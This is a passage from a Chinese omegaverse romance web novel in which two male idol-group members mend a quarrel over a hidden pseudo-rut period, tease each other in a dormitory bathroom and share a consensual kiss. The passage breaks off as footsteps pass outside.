“好像是比昨天晚上消肿了点。”方柏嘉说。 但肉眼还是能看出来和正常手腕不一样。 他拿起洗漱台上的喷雾,打开盖子:“痛感有减轻吗?” “一般般。”汤昼恒说,“不动的时候没感觉,一动的时候还是会痛。” “医生说了,你摔下来的时候撑了手,关节处的软组织受到冲击,多少会有一点损伤。总之你这段时间尽量静养。”方柏嘉边给肿胀处喷药边说。 汤昼恒微微垂眼看他。 顿了顿道:“其实你把喷雾直接给我就行了,不需要这么麻烦。” 昨天晚上——准确来说是今天凌晨那次,就是方柏嘉给汤昼恒上的药。 用绷带包扎完也没把药给他,而是让汤昼恒醒了再来找自己。 听到这话,方柏嘉不由得抬头看他一眼,说:“给你?你现在拳头都握不起来,自己一个人弄得了绷带吗。你省省吧,我现在对你十分的不信任,得时刻监督你的恢复情况,免得你又有事瞒着我。” 好像汤昼恒是什么不作就不会死的、很不讲信用的人。 从昨天到现在,对方不知道重复过几次类似这样的不满。 汤昼恒无奈又觉得好笑,声音柔和下来:“行,都是我的错。” 听上去有种哄小孩似的意味。 语气过于明显,搞得方柏嘉忍不住多瞧他一眼,又想起来对方昨天晚上那些似是而非的话。 换好新的绷带,方柏嘉拇指摁在他的小臂处,没有立刻抽手。 汤昼恒好像看出他还有话要讲,也额外耐心地多停留了会儿:“怎么了?” 方柏嘉支吾片刻,像是终于下定决心,抬起头来道:“你在医院说的话,我想明白了。” 汤昼恒挑眉:“嗯?” “所以你之前……”方柏嘉眼珠颤动,视线一直沿着汤昼恒身边光滑的瓷砖墙壁贴行了几秒,才又回到他的身上。 “是因为我没有告诉你我又去找了林主任,还隐瞒了自己伪感期的事,才不高兴的?” 而不是觉得方柏嘉烦,想冷暴力甩掉他。 “…………” 好长的反射弧,竟然过了一夜才有发觉。 其实还有别的原因。 但这个原因不好说,就让方柏嘉那么认为也好。 汤昼恒没有直面回答,假装默认地接着他的话道:“怎么突然又提起来了?” “因为昨天在医院没说完啊。”方柏嘉理所应当地道。 他是突然察觉到的这一点,原因是对方昨天晚上那句“感同身受”。 回宿舍后又仔细想了想才意识到,其实汤昼恒那次来找他补充脱敏时是有表达过的,说方柏嘉因为和他耍小脾气,明知道自己不舒服也不采取行动补救。 虽然说的是在电视台发生的事,但想必也有受到前情的影响。 然而方柏嘉当时一心沉浸在“汤昼恒”是个渣男的怒火里,即便听到了,也不会往深了想,只觉得汤昼恒在嘲讽他,从而被更加地激怒。 一旦想明白了这点,逻辑就通了。 ——汤昼恒昨夜说的那些话,方柏嘉也不是不懂。 干他们这行的,经常在舞台上又唱又跳,这些都是体力活,有些伤病在所难免,在台上忍着不适继续表演也是常事。 假如换做是他,方柏嘉极大概率也会这么做。 但因为这伤病是因他而起,方柏嘉就额外的忍受不了,说起话来控制不住地带刺,想当然地责怪对方为什么要拖。 但其实呢,一旦轮到自己,他的第一反应也是再三犹豫要不要向那个人说明。 觉得太矫情,觉得没必要,认为没什么大不了的,却忽略了另一个人的想法。 可想而知,当汤昼恒得知自己宁愿一个人不吃药地熬过伪感期也不告诉他事实真相时,对方的心情一定不怎么明朗。 汤昼恒的回答被方柏嘉看做了默认,他动了动唇,在他人面前向来高冷的一张脸看起来难得的心虚又无措,向汤昼恒解释: “我不是故意不想和你讲的。我一个人去找林主任,是觉得,我也没有像之前那次那样身体不便,就没有必要非拉着人一起去,到时候有什么结果我再转告你就好了。” 汤昼恒平静地指出他话语中的漏洞:“可是你没有。” “……”方柏嘉脸上一热。 “对,我是没有。因为这件事……就有点尴尬。你得让我想好了,做一下心理准备再和你讲吧。” 方柏嘉一边说,一边小心地看着他。 听到他的话,汤昼恒似是想到了什么,脸上的表情也缓和了点,露出示意让他继续说的眼神。 方柏嘉这才松了口气,刚要开口,突然又觉得不对。 汤昼恒是他的谁啊,他干嘛这么听他的话,还要时不时看他眼色行事? 莫名其妙! 心里这么想,他依然老老实实接着往下说:“录综艺的时候,我跟你说到了酒店有事要跟你聊,就是想问问你后面两天有没有空。可你也看到了,那天晚上李子晋非要找我聊天,我聊着聊着就睡过了,第二天一见到你你就说要走,那我也不可能把你拦下来吧?中途再跟你说,好像也起不到什么作用。” 方柏嘉嘟嘟囔囔,说话时下意识垂着眼。 因为紧张,无聊地把手边的洗脸巾外包装拿起来玩,手指将塑料袋捏得窸窣窸窣响。 汤昼恒不买他的账,瞬间指出他言语里的漏洞:“你不跟我说,怎么知道起不了作用?” “就算我一天之内完成不了活动,只要第二天回来了,不也还是能陪你度过伪感期的后几天吗?” 话说得倒是轻巧。 这个人的语气太理直气壮,方柏嘉一阵心惊肉跳,觉得他还真敢讲。 汤昼恒到底有没有意识到,他说的话已经超过了队友间正常的帮助范围、社交边界? 方柏嘉瞪着眼睛看了对方好一会儿,像在确定汤昼恒是不是在开玩笑:“……我怎么知道我说了你就一定会来。” 要是他跟汤昼恒讲了对方也没回应,岂不是显得方柏嘉自作多情到爆。 “而且,你好奇怪。错过了就错过了,为什么还要专门跑回来一趟陪我解决伪感期。” 方柏嘉轻声说。 “你干嘛对我这么好。” “……你是我的谁啊?” * 四句话,一句接一句地说完。 像质问,又像深深浅浅的试探。 方柏嘉话音落下,四周的整个空间都仿佛成块儿的黄油一般凝固了。 而这块固体此刻正被放在火上,横亘在他们中间。 说出来的每一个字都像把烧红的刀,将黄油割开一个切口。 物体熔融,淅淅沥沥流下淋漓的汁液,令面前的空气越发的粘稠起来。 一片寂静之中,仿佛只有管道里簌簌奔流的水声还在正常运作。 过了数秒,汤昼恒终于掀开嘴唇,张了张口。 才只做了个嘴型,方柏嘉突然想到什么,连忙举起手指着他说:“你给我好好回答,不许反问。也不许踢皮球说‘你想让我当你的谁’这种话!” 可见实在是被汤昼恒昨晚的言行搞出PTSD了。 被他指到的人先是一呆,意识到方柏嘉在说什么,旋即失笑。 笑了半天,才说:“一定要是‘你的谁’才能对你好吗?” “嗯——” 方柏嘉从鼻腔深处发出轻浅的鼻音,视线移向汤昼恒身后两米远处,又移回来。 做出像在思考该怎么回复、又仿佛什么都没想的表情,为难地说: “也不一定。反正其他alpha对我不这样。” 他们那几个队友,包括李子晋也不这样。 虽然大家都关系不错,但也是按照正常alpha间的相处模式来的,彼此会有关心,但都懂得点到即止,所以也不会让人觉得有压力。 可是汤昼恒……他是不是有点关心他关心得太过头了? 什么事都要包办,都要经过他的事情和同意,不告诉他他还生气。 可他们明明才熟起来不久。 难道说,汤昼恒经过这段时间的相处,也觉得他这个人其实还不错? 没有表面上看起来那么不好相处,对在乎的人也会无微不至。 虽然性格是有点古怪吧……可是他长得这么好看,脾气差点怎么了! 综合来说,应该算是值得发展的类型……? 方柏嘉说完这句话就低下眼,在砰然的心跳中等待对方的回答。 殊不知汤昼恒听了也是一愣。 其他alpha对他不这样…… 合着方柏嘉给那个不知道是谁的alpha花了那么多钱,最后得到的待遇还不如在他这里得到的多? 好差劲的A。 汤昼恒面不改色地思忖。 要超过这样的人不是很容易吗? 所以方柏嘉所谓的再找一个的难度在哪? 或许是他没有立刻回复的表现有点不同寻常,方柏嘉等了两秒没等到回应,又奇怪地抬头来看。 汤昼恒这才回神,和方柏嘉对视少顷,干脆地说:“嗯。” 他道:“我对别的alpha也不这样。” 方柏嘉一怔。 对别的alpha也不…… 察觉到对方话语中可能的漏洞,他下意识地追问:“那对别的omega呢?” “…………” 直到看见汤昼恒脸上刹那浮现的惊异表情,方柏嘉才意识到自己这个问题有多直接。 简直像把他到底在想什么明晃晃写在脸上,太过迫切。 可他那一瞬间真的在认真思考这个问题。 汤昼恒的话语里是有漏洞的。 方柏嘉只知道对方可以对alpha有感觉,但没人规定他不可以几个性别通吃,万一汤昼恒以前都是和omega暧昧呢? 汤昼恒的面庞上先是闪过错愕,以及一点点的难为情。 又觉得好笑似的,两三秒后,还是没忍住“嗤”的一下笑出来:“……不怎么样。我只喜欢alpha。” 这个答案已经够清晰了。 所以汤昼恒和他一样,是纯正的A同。 方柏嘉:“啊——” 他“啊”到一半就停住了。 对别的alpha不这样,也不喜欢omega。 却对方柏嘉各种关心…… 这下应该不会再有歧义了吧。 方柏嘉一下睁大了眼。 糟糕,心跳得要喘不上来气了。 …… 不对,他现在本来就在憋气啊。 怪不得感觉周围的空气不流通。 察觉到这一点的方柏嘉迅速做了个深呼吸。 明明问题是他先问的,汤昼恒真给出他想要的答案后,方柏嘉又像是宕机了,根本不知道该怎么回应。 卫生间内的气氛一时像是凝固,就连汤昼恒的面孔上也显现出一丝不易察觉的局促。 直到“啪”的一声。 门外数米远外的另一间卫生间里,陡然传来陆翰音打开吹风机吹头发的声音。 嗡嗡的轰鸣声持续稳定地响起,汤昼恒像重新被人按下开关,瞬间恢复了原状,手抵在唇边,握拳轻咳了声:“话说,我们这样算是彻底和好了吗?” 嗯? 方柏嘉飞快眨了两下眼,像没适应对方的话题跳转得这么快。 但也迅速反应过来,配合着汤昼恒答:“算、算是吧。” 汤昼恒:“那我的项链……” 项链? 方柏嘉又愣一下:“哦哦——那个啊,你等一下。” 说完也不等对方回应,他脸上一红,迅速拉开卫生间的门跑走。 方柏嘉一个冲刺跑回卧室,拉开抽屉,在里面找到汤昼恒的那条项链—— 也就是电视台那天被他偷偷拿走的那条。 虽然被来找他的汤昼恒发现了,但因为两人后边去卧室补了脱敏的次数、还又升级了冷战的程度,搞得那天晚上谁也没再想起来项链的事。 直到第二天早上起来洗漱,方柏嘉又在卫生间的台子上看到它。 ……去找汤昼恒还给他吧,自己还正生着气呢。 对方没向他再要,估计就是不急着戴。方柏嘉便把它收了起来,想着等汤昼恒下次来问再说。 结果后边两人好几天没怎么说话,他都快要忘了这事儿,汤昼恒一提他才想起来。 不出多时,方柏嘉带着项链回来了。 他把链子举起,递给汤昼恒示意:“我担心洗手台上水太多,腐蚀了项链,把它放到我房间去了。” 谁都默契地没有再提闹别扭的事。 汤昼恒伸出手。 方柏嘉将东西放上去,轻轻松开指尖,让那银闪闪的饰物自行掉落在对方的掌心之上。 却也没见汤昼恒把项链收起来或是怎样,而是又侧过身,将东西随手搁在一旁的洗手台表面。 方柏嘉:“……哎!” 那我费劲巴拉还给你保管是有什么用啊! 他有点不满,刚要出声示意汤昼恒别乱放,就听对方突然又开口:“话说到这……我也要向你道个歉。” 道歉? 原本的念头立刻消散,方柏嘉疑惑地掀起眼帘。 汤昼恒沉吟一下:“那天我来找你的时候,刚好在伪感期,情绪不太控制得住,话可能讲得重了点。我回去想想,觉得你那样也不是不能理解……所以如果有什么让你觉得我态度不好的地方,很抱歉。” 方柏嘉一顿。 这么说,汤昼恒那会儿也正处在信息素和激素不稳定的生理期。 怪不得他总感觉那天晚上格外的失控,还以为自己脱离处男身份后就彻底变成*欲大开的*魔了,被汤昼恒碰一下就那个的不行,把方柏嘉给吓坏了。 原来不是没有原因。 一句话没过脑子,率先溜出了口:“那你易感期是什么时候?” 已知:方柏嘉前脚才过了伪感期,汤昼恒后脚隔了一个星期也来了,说明两人的生理期前后相差间隔不长,汤昼恒要比他慢上那么不到十天。 他上回易感期后紧接着就是频繁的回归前期练习,方柏嘉没见过汤昼恒有额外消失好几天的空当,那么对方那次肯定也是伪感期无疑。 汤昼恒已经连着两次都是伪感期,下一次必然易感。 时间应该很近了。 这个问题一出,汤昼恒脸上的神色明显一滞,若有所思地垂下眼,再抬起来:“下个月吧。” “问这个做什么?” 方柏嘉眨了两下眼,有点慌乱:“我就随便一问。这两个月都挺忙的,你别因为生理原因耽搁了行程。” 说完就想打自己的嘴。 他表面上看起来勉强还算镇定,其实被汤昼恒这么散漫又似认真的一问,心立刻乱了,说话也驴唇不对马嘴。 其实他们都知道,生理期是公司为艺人们接工作、安排行程时必须也最先应该考虑到的因素。 毕竟一次缺席,可能就要面临几百到几千万的违约金赔付,山川相缭里有大把专业人士去做规划,哪儿需要方柏嘉来提醒。 汤昼恒自然也从中品出方柏嘉的心口不一,嘴角笑意更甚。 方柏嘉见了,越发在心里谴责自己。 ——让你好奇心这么旺盛,私下悄悄想想也就算了,居然还真的说出来了! 他迅速地转移话题:“你也不用和我道歉。那天我的态度也不是很好,说话挺冲的。而且我还咬了你一口……” 他的声线愈渐心虚地拉低。 现在回想,都觉得那天的自己简直是莫名其妙,丢死个人。 难道他真的是比格转世? 怎么生气了会想到要咬别人啊。 而且当时光线昏暗,方柏嘉还不知道自己那一口是深是浅。 现在他想起来了,满心忐忑地问汤昼恒:“都没问你,痛不痛啊?我咬得不重吧?” 就见汤昼恒垂下眼,淡淡道:“嗯,特别疼。” 顿了顿,抬起双眸又说:“还咬出血了。” ……咬出血?! 方柏嘉一下被吓到,心说我的牙口有那么好吗? 当场顾不了那么多,扑上去就要查看汤昼恒伤口的情况。 “我咬哪边了来着……” 最近一个月天明显热了,汤昼恒身上穿一件带简单图案印花的白色T恤,领口有弹力的螺纹面料一扯就开,露出那人锻炼得当的肩部线条。 方柏嘉先攥着他的衣领看了一边,发现没有,又眼疾手快地转到另一侧。 行动间恨不得将衣领拉成露肩款式,勒得汤昼恒脖子忍不住向一边斜。 结果两边都看过了,连个能称得上是牙印的痕迹都没有。 方柏嘉忽然意识到自己和汤昼恒现在的姿势有些太暧昧了。 因为要看对方肩上的“伤”,他凑得离这人很近,几乎快要趴在alpha的肩头。 而且他扒人衣服的动作也未免太狂野了点,这是什么耍流氓行为。 察觉到自己被人逗着玩了,方柏嘉猛地松开拉着对方衣领的手,说:“你骗我?!” 就看见汤昼恒在面前笑。 声音好像很愉悦:“明明是你太容易上当。你又不是丧尸,怎么会把我咬出血?方柏嘉——” 他说:“你也太好骗了吧?” “……!” “我才不好骗。”方柏嘉不服,提高了嗓音说,“是我没想到有人会无聊到编这种谎话来逗人玩。” 他看汤昼恒长得一脸正气,觉得他不会说谎才相信对方的。 怎么骗他的人还倒打一耙。 方柏嘉有种想再给汤昼恒咬一口的冲动—— 这回是真咬。 但还是没下得去口。 只能握起拳头,顺势在汤昼恒的肩膀上来了一拳。 他到底是个alpha,下起手来分不出轻重,加上还有些恼羞成怒的成分在里面,使出的力道没有十成也有四五分。 汤昼恒没预料到这一出,被他这一拳捶得还真向后踉跄了半步,肩膀也因为作用力往一侧斜了斜。 他“啊”了一声,脸上的神情茫然又透着无措。 像没想到自己居然会遭到方柏嘉的攻击,用被弹性绷带包裹着的手按住刚刚让方柏嘉攻击过的地方。 方柏嘉一看到他那样,自己也觉得坏了。 怎么还真上手了。 他也没这方面的经验,不知道打情骂俏要收着点力——汤昼恒该不会觉得他很粗鲁吧? 方柏嘉吓一跳,跟变脸似的,当即又追上去碰汤昼恒被他揍到的肩膀,安抚似的在上面乱摸几下:“没事吧?我使的力很大吗?” 汤昼恒没说话,只是维持着这个用伤手按住肩膀的动作,一言不发地看着方柏嘉。 直到看得方柏嘉愧疚心都疯狂上涌了,他才轻轻笑出声来,仿佛为自己又整蛊到方柏嘉感到很得意。 ……笑笑笑,方柏嘉都不知道他一天到晚究竟有什么好笑的。 长着一张我喜欢的脸了不起啊。 方柏嘉看着他嘴角的笑意,觉得不妙,有点转身想走,汤昼恒却像预判了一般,一下挡在他的身前。 还往前来了两步。 方柏嘉不明所以,被他逼退。 本来是两个人在洗手池前一左一右站着的分布,方柏嘉几下又叫他挤压至了角落,变成背对着镜子的姿势。 大腿的后边抵着洗手台边,避无可避。 有点眼熟的场景。 汤昼恒开始向他倾身。 不知道对方要干什么,方柏嘉屏住呼吸。 汤昼恒前进几公分,他也就相应地后撤几公分。 直到方柏嘉的腰弯折到一定限度,实在无法再向后仰。而他毫无察觉,甚至下意识地还想再退。 下一秒身体一晃。 方柏嘉失去重心,上半身不受控制地要向后摔倒。 他慌乱中刚要条件反射地去抓周围的物体,后背那块儿紧接着就被人给托住。 汤昼恒放下自己捂着肩膀的那只手,另一只手扶在他身后,往自己的方向带。 轻轻的,力度倒也不大,将毫无预料的方柏嘉向前带推了半步,猝不及防撞进那人怀里,差点就胸膛顶着胸膛。 下落的身体趋势叫人拦截,汤昼恒挑了挑单侧的眉毛问他:“你躲什么?” 第40章 第 40 章 我是有想和你接吻。 方柏嘉想说这话应该我问你才对, 你凑这么近干什么! 看着眼前近在咫尺的汤昼恒的脸,愣是一个字没挤出来。 汤昼恒明知人站稳了脚跟,也没放手, 自然而然地接着道:“上次都没问你,你说你又去找了林主任复诊, 也就是说,录综艺那几天, 你都闻不到别人的信息素?” “……” 方柏嘉不理解, 对方到底为什么要维持这么个伸手捞人的姿势和他说话? 他顿了顿, 心不在焉地:“是、是啊, 怎么了吗?” 方柏嘉以为汤昼恒要借着这个问题继续问点相关延伸话题, 汤昼恒却只是轻轻一笑, 摇了摇头。 其实答案已经摆在明面上,他就是想再确认一遍。 方柏嘉不明白发生了什么,只是茫然又微妙地觉得对方的心情相较上一秒又愉悦了一点。 不知道为什么, 他的心中冷不丁闪过李子晋曾经提过的在他身上闻到大量汤昼恒的味道、还说对方故意针对他的事。 尽管还没想太明白, 直觉却已然将这两件事联系在一起, 呼吸不自主地加快。 方柏嘉努力控制着朝肺部输入氧气的频率。 汤昼恒道:“没什么,就是你这么一提,我刚好又想起来了我们那几天吵架闹矛盾的一些细节。” 听到这里, 方柏嘉眉心一跳, 有种不好预感。 下一刻,便听汤昼恒说不出语气地问:“你的事,以后还用我管吗?” 方柏嘉愣住两秒。 两秒后,头脑里“轰”的一声,仿佛全身血液都涌上了头顶。 汤昼恒暗示的,是他那天一气之下说出口的“我的事不用你管”。 方柏嘉差点就跪了。 怎么这种事也要再提一遍! 但他认错态度良好, 也知道自己这话有点重,语气撒娇与求饶各半地嗫嚅着道:“我那个不是气话吗,我的脾气你又不是不知道,冲动之下讲出口的话,怎么能当真。那,那我再跟你道个歉。对不起,我不该得了便宜还卖乖,否定你的好心。” 他小心翼翼观察着汤昼恒的脸色,末了,说了这么一句。 汤昼恒脸色晦暗不清,也不说话。 定定地看了方柏嘉一会儿,身体倏然又前倾两寸。 他收回按在方柏嘉背上的手,转而支撑在面前的洗手台上,将方柏嘉困在自己的半方臂弯当中,是个明显想要讨伐些什么的姿势。 “……” 方柏嘉还没来得及松一口气,就又被他的表现弄得提心吊胆起来,忍不住滚动了下喉结。 他有先见之明,担心自己又失去重心,身体没怎么移动。 两只摊开的手掌依旧像刚才那样,因为怕自己和对方撞上而搭在汤昼恒的胸口。 薄薄一层T恤底下是青年火炉一样的体温与澎湃心跳,方柏嘉挣扎半天,刚想开口说你能不能别离这么近—— 就见那人忽然伸出缠着绷带的手,单根手指从洗手台上挑起那根被他冷落了的名牌项链,递到方柏嘉的眼前。 汤昼恒示意性地伸长了下脖颈,冲他微微仰起下巴:“我要戴这个,帮我弄一下。” “……啊?” 方柏嘉没想到事情会是这样的发展,呆呆看着他手里的东西。 先是怔愣了好几秒,随后才反应过来,的确。 汤昼恒现在单手不便,自己一个人肯定戴不了项链。 ……所以这人摆出那么吓人的架势就是为了让他做这个。 那他直接说啊! “哦,行吧。” 方柏嘉从他手里接过项链,找到链子的两端,想说还是从后边系好一点,可对方已经冲他摆好了姿势,那一句“要不然你转过去”就被咽回了肚子里。 试探道:“我……就这么给你系?” 汤昼恒侧过眼,轻轻嗯了声。 方柏嘉便不管了,暗自做了个深呼吸,两手在对方的锁骨处比划了下,最后还是一只手绕过他的颈侧,从后方找到靠近他的这一侧来碰头。 是一个伸手搂住对方脖颈的、近乎拥抱的亲昵动作。 因为这个姿势,方柏嘉离他很近。 汤昼恒的侧脸就在斜侧方的眼前,稍微一偏头就看得到。 几公分的宽度,已经突破了正常人的社交距离防线。 方柏嘉感觉自己像某种向阳生的植物,靠近汤昼恒这面的毛孔张开,感知着他的每一个呼吸节拍。背对他这面的毛孔合拢,在背阴地里沉沉熟睡。 他用左手的食指和拇指捏开了龙虾扣,手有点抖,接连几次试着将弯形的钩子穿过那个小小的圆环,都没能成功。 许是太久没好,汤昼恒在一旁向他投来了困惑的眼神,方柏嘉窘迫又有点慌乱,说:“等一下。” 他抿起嘴,脸上的表情越发认真。 眼皮垂下去的时候,眼皮褶皱后半段的部分跟着变淡,只有一点若隐若现的凹陷痕迹,隐藏在下边阴影里的眼珠玻璃球一样莹润通透。 半露不露的嘴唇透出气血充足的粉,尝起来应该是像果冻一样的口感,但比果冻更软热,也更润。 汤昼恒静静地观摩着他此刻的神态。 片刻过后,终于弄好了。 方柏嘉悄悄松一口气,因为靠近对方而不自觉紧绷的身体如蒙大赦地放松下来,毫无察觉自己正将双手搭在对方的肩上。 直到他突然察觉到汤昼恒在看自己。 他怔了一下,侧过头。 两人眼神相接半秒,方柏嘉率先受惊似的移开,看向一旁空气中漂浮着的尘埃粒子,整个人忽然就变得不自在起来。 如果他没有领会错误,汤昼恒这个样子好像是要……亲他。 对方的表情、此时此刻萦绕在他们身遭的气氛,对于方柏嘉来说都并不陌生。 那是他不止一次在汤昼恒脸上见到过的神态,方柏嘉先前再怎么不确定,这回也早该熟知其中包裹着的含义。 虚拟的警报再度在方柏嘉脑中拉响,他浑身僵硬,却也没有想要逃开,只是在心里不断想:怎么办怎么办怎么办—— 汤昼恒真的要亲他,他是给亲还是不给亲?是欲擒故纵还是顺水推舟? 要不要先假装一下矜持? 表情管理好难搞啊。 等等。 汤昼恒真的会亲他吗? 方柏嘉突然警惕起来。 要知道,前两次对方也是这样,把人吊得胃口十足,结果什么都不做就拍拍屁股走人。 汤昼恒这次不会还要来那一套吧?这到底有什么好犹豫的? 讲道理,就算他真亲了他又会怎样? 方柏嘉不是什么会吃人的怪物,怎么也不至于连接个吻都要让对方再三思量。 明明这个人前面还说只对自己这样呢。 方柏嘉越想就越不快,仿佛有一根萝卜吊在自己眼前,却始终咬不到。 不给吃也就算了,最可恶的是搞得方柏嘉控制不住地东想西想,总在想他是不是要来亲他,到底什么时候来亲他,为什么不亲他—— 满脑子一刻不停地分析汤昼恒的心理活动,胸口像卡了块吞不下也吐不出的骨头,不禁开始怀疑这萝卜到底是不是真的,愤愤得恨不得直接上去咬一口。 仿佛一场无形而又沉默的拉锯,短短的两三秒里,没有任何一个人开口说话,也没人动。 好像两个人都默许了什么,却又不确定对方的心理防线在哪、事情是不是自己理解的那个意思,会不会会错了意。 时间仿佛在这一刻冻结成冰,使得周围空气里的一切都凝固不动。 忽然间,汤昼恒似乎向他这边低了点头。 不想再看到对方假模假样地要来替他理一理头发、或是检查他的阻隔贴有没有贴好这种似是而非的行为,那一瞬间,方柏嘉脑海里名为“理智”的弦倏然崩断。 没有任何思考过程,他条件反射一般地扣紧了那人的肩膀迎上,侧抬着头在汤昼恒的唇边极用力地亲了一下。 唇瓣相贴,发出很清脆的“啵”的一声。 这一下带着决绝之势,几乎像是宣战。 方柏嘉气势汹汹,因为是临时起意的宣泄,力道掌控不好,甚至将汤昼恒的脑袋顶得后仰了两厘米。 心里只有一个想法:叫你之前犹犹豫豫的,该亲的时候不亲,让你也尝尝被人吊着还不知道对方是什么意思的滋味。 辗转反侧去吧你! 亲完他就迅速撤开了,像也感觉出自己此举有多么的惊天地泣鬼神、过于主动热情得不过脑子了一样,方柏嘉薄薄的脸皮迅速蔓上一层淡粉,整个人宛若踩着了弹簧,猛地从侧边溜出去几步,睁大眼睛,一动不动地看着正对面的汤昼恒。 “……” 被他偷袭的人也失语了。 犹如被方柏嘉这记壮举惊到,汤昼恒好一会儿都没出声。 只是若有所思地慢慢抬手,屈起来的手指指背在刚刚被他亲过的下唇上轻蹭一下。 仿佛为了把那上面还残留着的温度刮蹭下来,汤昼恒先低头看了眼自己的手,随后才抬起头望向始作俑者,不可思议地轻声说:“为什么……突然亲我?” 他的嗓音依旧沉着,脸上的表情也没多大变化,但看着他一秒钟前还明显瞳孔地震的模样就知道,这人的真实心情肯定不如他面上表现得这么平静。 方柏嘉的眼神一阵乱窜。 片刻前还怒气冲冲的神气劲儿瞬间消失无影,他底气不足,说话声音都是飘的:“……不为什么,我想这么做不可以吗?” 说这话时心里已经懊悔得在滴血了,但他还是逞能地梗着脖子,努力为自己的行为赋予合理性道:“——谁让你总是这样,想亲又不亲的,我看着烦。亲就亲,不亲就不亲,你老装模作样地找别的理由干什么?” 说到后面,方柏嘉的嗓音慢慢大了起来,像是找回了硬气的理由和资本,目光也不乱飞了,好似今天就要从汤昼恒这里得到一个说法一样,眼睛定定地瞧着来人。 “还是你觉得我傻,察觉不到你要做什么?” 他也是有脾气的好不好。 只允许汤昼恒主动撩他,他反击一下都不行吗? 汤昼恒愕然地站在原地怔愣半晌,随后竟然失笑。 方柏嘉阴晴不定地看着他,听见他反省似的温声认下错误:“我承认。我是有想和你接吻。” 方柏嘉的心骤然“咚咚”狂跳了两下。 意识到这会儿该自己接茬了,他不大自在地抖了抖肩,说:“哦。” 意思是让汤昼恒继续往下讲。 汤昼恒停了停:“只是我不确定。” 他这句话说得像个已结束的陈述句,很明显是在等人来问。 “不确定?”方柏嘉一个字一个字地跟着重复对方的话,“——什么?” “不确定……我有没有资格对你做这种事。”汤昼恒也缓缓地、一个字一个字地答。 “比如,在非治疗必要的情况下亲你。” 方柏嘉一下就没声了。 他眨巴眨巴眼,一时间竟不知道该怎么回答。 这个问题好像有点危险。 突然间,方柏嘉似乎也明白了汤昼恒之前为什么总在关键时候撤退。 他们此前虽然同样经常接吻,但那都是在方柏嘉需要脱敏治疗,或者出了意外、需要对方的信息素快速安抚的情况下。 不管怎样都合情合理,算是流程中的一环。 有了这样的借口,亲起来也格外的理直气壮,导致方柏嘉甚至都忘了,二人并不是那种可以随意做这种亲密动作的身份。 一旦打破这个界限,也就意味着他和汤昼恒之间的关系极有可能向着某个方向一去不复返地进发…… 对方肯定也想到了这一点,心中才有顾虑。 经这人这么一说,方柏嘉也忍不住思索起来。 一般正经的alpha好像是不会这么随便地互相吃对方的嘴巴。 这么说他是不是还得给汤昼恒发个有A德的奖牌? …… 方柏嘉脑海里的思绪绞成了一团乱麻。 短短数秒,仿佛从盘古开荒思考到未来的宇宙爆炸,又好像根本什么额外的都没去考虑。 即便如此,那又怎样。 此时的方柏嘉正多巴胺和肾上腺素快速上头,根本不是会顾及那些虚头巴脑的念头的时候。 他转动了两下眼睛,不管不顾地脱口而出:“你想有……就可以有啊。” 声音清脆磁性,每个字的音节都落地有声。 门外吹风机吹头发的声音忽然停了,一时间整个房子内部都寂静得不像话。 方柏嘉的话像羽毛,随着话音的飘落而在空中左右摇曳,打着圈地转悠。 路过汤昼恒的胸前,在他的心口轻轻刮搔两下。 很痒。 卫生间内又回到先前那种没人说话的冷谧。 十分安静的,好像整个世界都被方柏嘉的这句话按下了暂停。 正当他觉得自己是不是说错了,或者做错了什么的时候。 汤昼恒终于又朝他走近,慢慢凑拢过来。 方柏嘉察觉到他要做什么,第一时间下意识地闭上眼。 随后意识到这样就看不见汤昼恒了,又赶紧睁开,只不过眼神向下,仅只是虚虚地将双眼掀开条缝,用余光去观察对方的动向。 汤昼恒的唇悬停在距离方柏嘉的唇瓣不到一厘米处的位置停下,等了半秒,然后才低下头来吻他。 干燥而软热的唇肉附著上来的瞬间,方柏嘉整个人都忍不住打了一个激灵,像有些承受不住似的,还是将眼皮彻底地合上了。 感官却依然灵敏,十分诚实地配合着汤昼恒的姿势,稍许扬起下巴承接了这个亲密的举动。 嘴巴微微张开,像彼此嵌合的拼图一样,浅浅吮吸了下对方的唇。 触碰一下即分,方柏嘉却还是感受到一阵淡淡的晕眩。 他张开嘴巴迷茫地呼吸起来,在触感消失的即刻便睁开双眸,发现汤昼恒正往后退到差不多十公分的地方观察自己的反应。 两人目光相撞,像是触发了什么暗号。 甚至没有人说任何话,突然间,汤昼恒就又动起来,重新压上来含住方柏嘉的嘴唇。 这回要比刚才停留得更久,不再是蜻蜓点水。汤昼恒没伸舌头,只是从各种角度、用各种力道地反复碾磨他的唇面。 开始的几下还很轻浅。 汤昼恒一下下啜着他淡粉的唇,抿一口,停下来撤开一点距离,然后再贴上来,做出轻轻将对方的双唇包裹住再吐出来的动作,仿佛方柏嘉的这里是什么美味的糕点。 没半分钟,他歪过头,又从另一个方向继续发起进攻。 方柏嘉的大脑一片空白,随着温热的肌肤相触,整个人的灵魂都仿佛飘在云端。 头顶乃至后脑勺处持续传来酸麻的、好似在被什么东西轻轻刮挠着的酥痒触感,他在对方又一次亲上来的瞬间情难自控地发出一声带鼻音的“呜”—— 随后,事情便失去了控制。 等方柏嘉反应过来,他已经和年轻高大的alpha难舍难分地缠吻到了一起。 打开双唇,任由对方的舌头探入。 黏腻的唇舌搅动带起大胆又湿润的啧啧水声,当中不时伴随着含下分泌的口水而发出的咕咚吞咽,令人听了脸红心跳。 不知道是不是和汤昼恒那几句话的缘故,方柏嘉明显感觉这回的亲吻与以往几次都不一样,不掺杂任何目的,也没有任何借口可以再去遮掩,这就是一个纯粹而干净的——吻。 带着说不清也道不明的欲/念,就像在共同守护着一个秘密,而他们谁也没打算戳破。 方柏嘉觉得自己嘴唇表皮的肌肤简直敏/感得惊人,以至于和汤昼恒的每一下互动,对于他来说都像是被子弹击中。 由触碰带来的奇异电流沿着网状的神经末梢不断上行,直至传递到最顶端的大脑中枢,转换成源源无穷的丰富特效,好像有烟花在脑际不断炸开。 汤昼恒的动作越来越重,也越来越深,从一开始试探般的轻啄到后边的肆无忌惮,几乎将方柏嘉那两瓣肉都吃进去似的用力。 怀中的人抱紧他的腰身,被这人亲得几欲仰倒。 意识迷蒙间冷不丁一个回神,觉得自己不该这么被动,很快又不甘示弱地顶回去,和汤昼恒的双唇难分彼此,加倍地搅在一块。 脸上很热,方柏嘉觉得自己浑身像燃料一样着起来了,怀疑对方会被他烫到,从而知道自己此刻究竟是多么的兴奋和紧张。 与此同时,隔着一层棉质的T恤面料,他同样感觉到汤昼恒的躯干就和烧红的碳一样滚烫,一时间竟说不清究竟是谁身上的温度更高。 就在两人深吻得难舍难分之际,一片寂静中,忽然有人的脚步声从门外经过。 